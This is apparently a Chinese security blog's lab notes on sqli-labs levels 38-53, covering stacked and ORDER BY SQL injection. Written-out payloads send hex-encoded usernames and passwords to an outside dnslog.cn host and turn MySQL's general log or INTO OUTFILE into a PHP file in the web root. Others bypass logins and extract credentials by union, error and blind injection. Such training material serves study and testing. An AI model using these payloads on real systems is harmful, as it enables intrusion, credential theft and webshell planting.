SQLI labs 靶场笔记之堆叠注入 38-53 关
堆叠注入 38-53 关
原理介绍
MySQL 的命令行中,每一条语句以;
结尾,这代表语句的结束,如果在注入过程中在;
后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入 (stacked injection) 。下面就是简单的示例:
mysql> select * from users where id = 1;select version();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
+-----------+
| version() |
+-----------+
| 8.0.12 |
+-----------+
1 row in set (0.00 sec)
与 union select 联合查询相比,堆叠查询更加灵活,可以执行任意的 SQL 语句。
局限性
- 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。
- 在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略
这个就是为什么我们尝试用 union select 联合查询的原因,使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等
各个数据库堆叠查询实例
MySQL
select * from users where id=1;select version();
SQL Server
select 1,2,3;select * from test;
Postgresql
select * from user_test;select 1,2,3;
注入天书里面说 Oracle 不支持堆叠查询。
Less-38(堆叠注入)
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注、堆叠注入 | id='$id' |
又到了源码简单分析的时间了,来看看堆叠注入的代码是如何实现的:
# id 参数直接带入到 SQL 语句中
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)):
输出查询信息
else:
print_r(mysqli_error($con1));
发现和之前的关卡区别不大,唯一的区别就是查询 SQL 语句由原来的:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
变成了现在的:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))
mysqli_multi_query
函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句。
既然知道原理了 那么这一关就详细演示一下这个堆叠注入如何灵活使用:
添加字段值
?id=1';insert into users(username,password) values ('hello','world');
数据库中查看是否添加成功:
mysql> select * from users where username='hello';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 15 | hello | world |
+----+----------+----------+
1 row in set (0.00 sec)
但是这个貌似并没有什么作用,但是注入天书里面也没有说其他的姿势,实际上看到这里的人应该明白后面是可以执行任意 SQL 语句的,那么这个怎么进行漏洞利用的话 就完全看你的想象力了,接下来演示我认为比较实用的姿势。
DNSLog 数据外带
需要条件:
load_file
函数在 Linux 下是无法用来做 DNSLog 攻击的,因为在这里就涉及到 Windows 的 UNC 路径。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式
\\192.168.31.53\test\
CONCAT()
函数拼接了4个\
了,因为转义的原因,4个就变\
成了2个\
,目的就是利用 UNC 路径。
因为 Linux 没有 UNC 路径这个东西,所以当 MySQL 处于 Linux 系统中的时候,是不能使用这种方式外带数据的。
下面使用 Windows 下的 sqli-labs 测试环境:
?id=1';select load_file(concat('\\\\',(select hex(concat_ws(':',username,password)) from users limit 0,1),'.952nzx.dnslog.cn\\abc'))--+
Hex 编码的目的就是减少干扰,因为域名是有一定的规范,有些特殊符号是不能带入的有。
手动 Hex 解码即可
开启日志 Getshell
需要条件:
- Web 的物理路径
- MySQL 可以读写 Web 目录
- Windows 成功率 高于 Linux
首先查看当前的日志的相关配置:
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------------------------------------------+
| Variable_name | Value |
+------------------+-----------------------------------------------------------------+
| general_log | OFF |
| general_log_file | D:\phpstudy_pro\Extensions\MySQL8.0.12\data\DESKTOP-7FQSJGU.log |
+------------------+-----------------------------------------------------------------+
2 rows in set, 1 warning (0.00 sec)
general_log
环境默认是没有开启的,这里尝试注入的时候手动开启:
?id=1';set global general_log = "ON";set global general_log_file='D:/phpstudy_pro/WWW/sqli.pl/Less-38/shell.php';--+
然后 MySQL 再查看日志配置是否被修改了:
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------------------------+
| Variable_name | Value |
+------------------+-----------------------------------------------+
| general_log | ON |
| general_log_file | D:/phpstudy_pro/WWW/sqli.pl/Less-38/shell.php |
+------------------+-----------------------------------------------+
2 rows in set, 1 warning (0.00 sec)
这个尝试 getshell:
?id=1';select "<?php phpinfo();?>";
日志里面就会记录<?php phpinfo();?>
,浏览器访问查看:
shell.php
日志文件内容:
D:\phpstudy_pro\COM\..\Extensions\MySQL8.0.12\\bin\mysqld.exe, Version: 8.0.12 (MySQL Community Server - GPL). started with:
TCP Port: 3306, Named Pipe: MySQL
Time Id Command Argument
2020-12-08T02:16:42.153350Z 10 Query -- ' LIMIT 0,1
2020-12-08T02:16:44.267004Z 11 Connect root@localhost on security using TCP/IP
2020-12-08T02:16:44.267240Z 11 Init DB security
2020-12-08T02:16:44.267398Z 11 Query SELECT * FROM users WHERE id='1';
2020-12-08T02:16:44.267695Z 11 Query select "<?php phpinfo();?>";
Less-39
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注、堆叠注入 | id=$id |
和 Less-38 相比没有啥区别,只是拼接方式不一样。
?id=1;set global general_log = "ON";set global general_log_file='D:/phpstudy_pro/WWW/sqli.pl/Less-39/shell.php';--+
?id=1';select "<?php phpinfo();?>";
Less-40
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注、堆叠注入 | id=('$id') |
和 Less-38 相比只是拼接方式不一样。
?id=1');set global general_log = "ON";set global general_log_file='D:/phpstudy_pro/WWW/sqli.pl/Less-40/shell.php';--+
?id=1');select "<?php phpinfo();?>";
但是看了这一关源码下面还有其他文件,类似于 Less-24 的二次注入,看了下源码貌似和 Less-24 是一样的,可能是作者的疏忽吧,忘记删掉这些不相干的文件了。
Less-41
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注、堆叠注入 | id=$id |
和 Less-39 类似,因为少了报错输出,所以这里不能报错注入,其他注入方式一样,这里不再赘述。
Less-42
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注、堆叠注入 | username='$username' |
index.php
没有啥核心代码,PHP 和 HTML 混写,只要写了登录的表单,并提供了忘记密码和创建用户的链接,相比于 Less-24 的二次注入,这两个链接都不能直接访问,无法直接创建用户。
forgot_password.php
if you forgot your password,go to hack it
acc-create.php
if you need to create account,then hack your way in
failed.php
Bug off you silly dump hacker
login.php
# username 被过滤 ' " \ password 没有被
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
# 堆叠查询
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
mysqli_multi_query($con1, $sql))
if 查询成功:
return $row[1];
else:
print_r(mysqli_error($con1));
if 登录成功:
setcookie("Auth", 1, time()+3600);
跳转到 logged-in.php
logged-in.php
登录成功,提供修改密码的表单
<form name="mylogin" method="POST" action="pass_change.php">
pass_change.php
if 没有登录:
重定向到 index.php
if 提交了修改密码表单:
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if $pass==$re_pass:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
这一题漏洞比较多,首先 login.php 中 password 没有过滤,可以进行常规的报错注入以及盲注,同时本身又支持堆叠查询,所以也支持堆叠注入。 pass_change.php update 语句存在漏洞,典型的二次注入,类似于 Less-24。
经典的万能密码绕过 1' or 1#
:
POST /Less-42/login.php HTTP/1.1
...
login_user=admin&login_password=1' or 1#&mysubmit=Login
因为登录成功后返回:
return $row[1];
所以登录了 id 为 1 的 Dumb 用户:
尝试联合查询:
POST /Less-42/login.php HTTP/1.1
...
login_user=admin&login_password=13141' union select 1,(select group_concat(username,":",password,0x3c62723e) from users),3#&mysubmit=Login
报错注入:
login_user=admin&login_password=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users limit 0,1),0x7e),1)#&mysubmit=Login
同理这里也可以进行盲注和堆叠查注入,这里不再赘述。
Less-43
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注、堆叠注入 | username=('$username') |
和 Less-42 的利用方式一致,这里只是拼接方式不一样而已,不再赘述。
Less-44
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、布尔盲注、延时盲注、堆叠注入 | username='$username' |
和 Less-43 的利用方式一致,因为没有输出报错信息,所以这里少了报错注入的利用方式。
Less-45
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、布尔盲注、延时盲注、堆叠注入 | username=('$username') |
与 Less-43 闭合方式一致,只是这里少了报错注入的利用方法。
Less-46(order by后的注入)
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | ORDER BY $id |
# GET 方式获取 sort 参数
$id=$_GET['sort'];
# 直接将 id 带入 SQL 中
$sql = "SELECT * FROM users ORDER BY $id";
if 查询成功:
输出查询信息
else:
print_r(mysql_error());
order by 不同于 where 后的注入点,不能使用 union 等进行注入。注入方式十分灵活,下面在本关来详细讲解一下。
验证方式
- 升序和降序验证
# 升序排序
?sort=1 asc
# 降序排序
?sort=1 dasc
- rand() 验证
rand(ture) 和 rand(false) 的结果是不一样的
?sort=rand(true)
?sort=rand(false)
所以利用这个可以轻易构造出一个布尔和延时类型盲注的测试 payload
此外 rand() 结果是一直都是随机的
?sort=rand()
?sort=1 and rand()
- 延时验证
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
这种方式均可以延时,延时的时间为 (行数*1) 秒
报错注入
爆数据库
?sort=1 and updatexml(1,concat('~',(select group_concat(schema_name)from information_schema.schemata)),0)
可见一次把数据库名爆不完,所以可以采用
limit
语句控制一次爆库名的个数
?sort=1 and updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 4,1)),0)
爆表
?sort=1 and updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema='security')),0)
爆users
表的表列
?sort=1 and updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),0)
爆users
表的数据
?sort=1 and updatexml(1,concat('~',(select concat_ws('~',id,username,password)from security.users limit 0,1)),0)
布尔盲注
数据库第 1 位为:s
?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')
?sort=rand(left(database(),2)>'sd')
?sort=rand(left(database(),2)>'se')
延时盲注
数据库第一个字母的 ascii 码为 115,即s
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
into outfile
将查询结果导入到文件中:
?sort=1 into outfile "D:/phpstudy_pro/WWW/sqli.pl/Less-46/less46.txt"
如果导入不成功的话,很可能是因为 Web 目前 MySQL 没有读写权限造成的。
利用导出文件 getshell:
注入天书里面提供了 lines terminated by 姿势用于 order by 的情况来 getsgell:
?sort=1 into outfile "D:/phpstudy_pro/WWW/sqli.pl/Less-46/shell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();>
的十六进制编码。
来查看下写入的文件内容是啥样子的:
1 Dumb Dumb<?php phpinfo();?>2 Angelina I-kill-you<?php phpinfo();?>3 Dummy p@ssword<?php phpinfo();?>4 secure crappy<?php phpinfo();?>5 stupid stupidity<?php phpinfo();?>6 superman genious<?php phpinfo();?>7 batman mob!le<?php phpinfo();?>8 admin admin<?php phpinfo();?>9 admin1 admin1<?php phpinfo();?>10 admin2 admin2<?php phpinfo();?>11 admin3 admin3<?php phpinfo();?>12 dhakkan dumbo<?php phpinfo();?>14 admin4 admin4<?php phpinfo();?>15 hello world<?php phpinfo();?>
浏览器访问测试看看:
Less-47
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | ORDER BY '$id' |
和 Less-46 相比,利用方式不变,只是拼接方式方式变化,注入的时候只要正常闭合即可。
?sort=1' and updatexml(1,concat('~',(select concat_ws('~',id,username,password)from security.users limit 0,1)),0) --+
Less-48
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | ORDER BY $id |
和 Less-46 相比少了报错注入,布尔、延时盲注依然可以正常使用,这里不再过多演示了。
Less-49
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | ORDER BY '$id' |
和 Less-47 相比少了报错注入,布尔、延时盲注依然可以正常使用,这里不再过多演示了。
Less-50
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注、堆叠注入 | ORDER BY $id |
和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入,在注入方面会更加灵活。堆叠注入的话这里不再演示,详细细节可以参考 Less-38 的堆叠注入的姿势。
Less-51
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注、堆叠注入 | ORDER BY '$id' |
和 Less-50 相比只是拼接方式发生了变化,实际注入的时候只需做一下对应的闭合即可。
Less-52
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注、堆叠注入 | ORDER BY $id |
和 Less-50 是一样的,只是少了报错注入的利用方式。
Less-53
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注、堆叠注入 | ORDER BY '$id' |
和 Less-51 是一样的,只是少了报错注入的利用方式。
本文作者: iceH
本文链接: http://www.secice.cn/p/1f400290
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!